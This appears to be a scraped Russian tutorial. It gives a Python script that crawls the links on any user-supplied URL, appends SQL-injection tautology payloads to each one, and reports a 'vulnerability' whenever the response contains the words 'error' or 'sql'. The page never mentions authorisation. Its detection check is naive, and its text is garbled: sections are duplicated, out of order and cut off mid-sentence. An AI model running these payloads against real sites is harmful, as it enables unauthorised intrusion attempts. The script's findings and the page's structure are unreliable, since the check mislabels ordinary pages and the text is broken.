Как создать простой скрипт на Python для тестирования SQL уязвимостей
Для этого мы можем использовать библиотеку
Вот пример простого скрипта для тестирования ссылок на SQL-инъекции:
### Основные моменты:
1. Скрипт запрашивает URL: Вводите URL сайта, который хотите протестировать.
2. Получение ссылок: Скрипт получает все ссылки на указанной странице.
3. Тестирование на SQL-инъекции: Для каждой ссылки скрипт добавляет различные полезные нагрузки и проверяет ответ сервера на наличие ошибок SQL.
4. Вывод результатов: Скрипт сообщает, если обнаружена потенциальная уязвимость.
- Этот скрипт является базовым примером и не гарантирует обнаружение всех уязвимостей. Для более глубокого анализа используйте специализированные инструменты для тестирования на проникновение.
Для этого мы можем использовать библиотеку
requests
для выполнения HTTP-запросов, а также BeautifulSoup
для парсинга HTML. Убедитесь, что у вас установлены необходимые библиотеки:pip install requests beautifulsoup4
Вот пример простого скрипта для тестирования ссылок на SQL-инъекции:
import requests
from bs4 import BeautifulSoup
import urllib.parse
# Функция для проверки уязвимости на SQL-инъекции
def test_sql_injection(url):
# Примеры полезных полезных SQL-инъекций
sql_payloads = [
"' OR '1'='1",
"' OR '1'='1' -- ",
"' OR '1'='1' /*",
'" OR "1"="1',
'" OR "1"="1" -- ',
'" OR "1"="1" /*'
]
for payload in sql_payloads:
# Создаем URL с полезной нагрузкой
test_url = f"{url}{payload}"
try:
response = requests.get(test_url)
if response.status_code == 200:
# Проверка на наличие ошибок SQL в ответе
if "error" in response.text.lower() or "sql" in response.text.lower():
print(f"[!] Potential SQL Injection vulnerability found at: {test_url}")
else:
print(f"[ ] No vulnerability detected at: {test_url}")
else:
print(f"[ ] Received status code {response.status_code} for: {test_url}")
except requests.RequestException as e:
print(f"[!] Request failed for {test_url}: {str(e)}")
# Функция для получения всех ссылок на странице
def get_links(url):
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
links = [a['href'] for a in soup.find_all('a', href=True)]
return [urllib.parse.urljoin(url, link) for link in links] # Полные URL
except requests.RequestException as e:
print(f"[!] Failed to retrieve links from {url}: {str(e)}")
return []
# Главная функция
def main():
target_url = input("Enter the URL to test for SQL Injection: ")
links = get_links(target_url)
for link in links:
print(f"Testing {link} for SQL Injection...")
test_sql_injection(link)
if __name__ == "__main__":
main()
### Основные моменты:
1. Скрипт запрашивает URL: Вводите URL сайта, который хотите протестировать.
2. Получение ссылок: Скрипт получает все ссылки на указанной странице.
3. Тестирование на SQL-инъекции: Для каждой ссылки скрипт добавляет различные полезные нагрузки и проверяет ответ сервера на наличие ошибок SQL.
4. Вывод результатов: Скрипт сообщает, если обнаружена потенциальная уязвимость.
- Этот скрипт является базовым примером и не гарантирует обнаружение всех уязвимостей. Для более глубокого анализа используйте специализированные инструменты для тестирования на проникновение.